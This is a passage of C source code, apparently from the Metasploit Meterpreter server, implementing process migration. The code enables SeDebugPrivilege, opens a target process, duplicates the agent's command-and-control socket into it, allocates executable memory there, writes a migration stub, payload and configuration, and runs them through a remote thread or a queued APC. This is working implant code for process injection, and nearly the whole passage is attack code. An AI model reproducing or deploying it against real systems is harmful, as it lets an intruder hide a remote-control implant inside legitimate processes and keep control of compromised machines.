		// process (like a new winlogon.exe) it can have a chance to initilize...
		// Bad things happen if we inject into an uninitilized process.
		WaitForInputIdle( hProcess, 10000 );

		CLOSE_HANDLE( hAgentCloseEvent );
		CLOSE_HANDLE( hAgentProcess );

		memcpy( &RemoteAgentContext, &AgentContext, sizeof(AGENT_CTX) );

		hAgentCloseEvent = CreateMutex( NULL, TRUE, NULL );
		if( !hAgentCloseEvent )
			BREAK_ON_ERROR( "[LOADER] loader_inject_pre. CreateEvent hAgentCloseEvent failed" );

		if( !DuplicateHandle( GetCurrentProcess(), hAgentCloseEvent, hProcess, &RemoteAgentContext.hCloseEvent, 0, FALSE, DUPLICATE_SAME_ACCESS ) )
			BREAK_ON_ERROR( "[LOADER] loader_inject_pre. DuplicateHandle hAgentCloseEvent failed" )
		
		dprintf( "[LOADER] WSADuplicateSocket for sock=%d", sock );

		// Duplicate the socket for the target process
		if( WSADuplicateSocket( sock, dwPid, &RemoteAgentContext.info ) != NO_ERROR )
			BREAK_ON_WSAERROR( "[LOADER] WSADuplicateSocket failed" )
	
		// Allocate memory for the migrate stub, context and payload
		lpMemory = VirtualAllocEx( hProcess, NULL, sizeof(AGENT_CTX), MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
		if( !lpMemory )
			BREAK_ON_ERROR( "[LOADER] VirtualAllocEx failed" )
		
		/*for( i=0 ; i<4 ; i++ )
		{
			DWORD dwSize = 0;

			if( !AgentContext.dictionaries[i] )
				continue;
			
			dwSize = ( sizeof(DICTMSG) + AgentContext.dictionaries[i]->dwDictLength );

			RemoteAgentContext.dictionaries[i] = VirtualAllocEx( hProcess, NULL, dwSize, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE );
			if( !RemoteAgentContext.dictionaries[i] )
				continue;

			if( !WriteProcessMemory( hProcess, RemoteAgentContext.dictionaries[i], AgentContext.dictionaries[i], dwSize, NULL ) )
				RemoteAgentContext.dictionaries[i] = NULL;
		}*/

		// Write the ctx to memory...
		if( !WriteProcessMemory( hProcess, lpMemory, &RemoteAgentContext, sizeof(AGENT_CTX), NULL ) )
			BREAK_ON_ERROR( "[MIGRATE] WriteProcessMemory 1 failed" )

		hAgentProcess = hProcess;

		_snprintf( cpCommandLine, COMMANDLINE_LENGTH, "/v /c:0x%08X", lpMemory );

	} while( 0 );

	if( dwResult != ERROR_SUCCESS )
	{
		dprintf( "[LOADER] loader_inject_pre. CLOSE_HANDLE( hAgentCloseEvent );" );
		CLOSE_HANDLE( hAgentCloseEvent );
	}

	return dwResult;
}
/*!
 * @brief Migrate the meterpreter server from the current process into another process.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the request packet.
 * @param pResult Pointer to the memory that will receive the result.
 * @returns Indication of whether the server should continue processing or not.
 */
BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult)
{
	DWORD dwResult = ERROR_SUCCESS;
	Packet * response = NULL;
	HANDLE hToken = NULL;
	HANDLE hProcess = NULL;
	HANDLE hEvent = NULL;
	BYTE * lpPayloadBuffer = NULL;
	LPVOID lpMigrateStub = NULL;
	LPBYTE lpMemory = NULL;
	MIGRATECONTEXT ctx = { 0 };
	DWORD dwMigrateStubLength = 0;
	DWORD dwPayloadLength = 0;
	DWORD dwProcessID = 0;
	DWORD dwDestinationArch = 0;

	MetsrvConfig* config = NULL;
	DWORD configSize = 0;

	do
	{
		response = packet_create_response(packet);
		if (!response)
		{
			dwResult = ERROR_NOT_ENOUGH_MEMORY;
			break;
		}

		// Get the process identifier to inject into
		dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID);

		// Get the target process architecture to inject into
		dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH);

		// Get the length of the payload buffer
		dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN);

		// Receive the actual migration payload buffer
		lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD);

		dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength);

		// If we can, get SeDebugPrivilege...
		if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
		{
			TOKEN_PRIVILEGES priv = { 0 };

			priv.PrivilegeCount = 1;
			priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

			if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid))
			{
				if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL));
				{
					dprintf("[MIGRATE] Got SeDebugPrivilege!");
				}
			}

			CloseHandle(hToken);
		}

		// Open the process so that we can migrate into it
		hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID);
		if (!hProcess)
		{
			BREAK_ON_ERROR("[MIGRATE] OpenProcess failed")
		}

		// get the existing configuration
		dprintf("[MIGRATE] creating the configuration block");
		remote->config_create(remote, &config, &configSize);
		dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config);

		if (config->session.comms_fd)
		{
			// Duplicate the socket for the target process if we are SSL based
			if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR)
			{
				BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed")
			}
		}

		// Create a notification event that we'll use to know when it's safe to exit 
		// (once the socket has been referenced in the other process)
		hEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
		if (!hEvent)
		{
			BREAK_ON_ERROR("[MIGRATE] CreateEvent failed")
		}

		// Duplicate the event handle for the target process
		if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS))
		{
			BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed")
		}

		// Get the architecture specific process migration stub...
		if (dwDestinationArch == PROCESS_ARCH_X86)
		{
			lpMigrateStub = (LPVOID)&migrate_stub_x86;
			dwMigrateStubLength = sizeof(migrate_stub_x86);
		}
		else if (dwDestinationArch == PROCESS_ARCH_X64)
		{
			lpMigrateStub = (LPVOID)&migrate_stub_x64;
			dwMigrateStubLength = sizeof(migrate_stub_x64);
		}
		else
		{
			SetLastError(ERROR_BAD_ENVIRONMENT);
			dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch);
			break;
		}

		// Allocate memory for the migrate stub, context, payload and configuration block
		lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
		if (!lpMemory)
		{
			BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed")
		}

		// Calculate the address of the payload...
		ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT);

		// Write the migrate stub to memory...
		dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength);
		if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed")
		}

		// Write the migrate context to memory...
		dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT));
		if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed")
		}

		// Write the migrate payload to memory...
		dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength);
		if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed")
		}

		// finally write the configuration stub
		dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize);
		if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL))
		{
			BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed")
		}

		// First we try to migrate by directly creating a remote thread in the target process
		if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
		{
			dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread...");

			// If that fails we can try to migrate via a queued APC in the target process
			if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS)
			{
				BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed")
			}
		}

		dwResult = ERROR_SUCCESS;

	} while (0);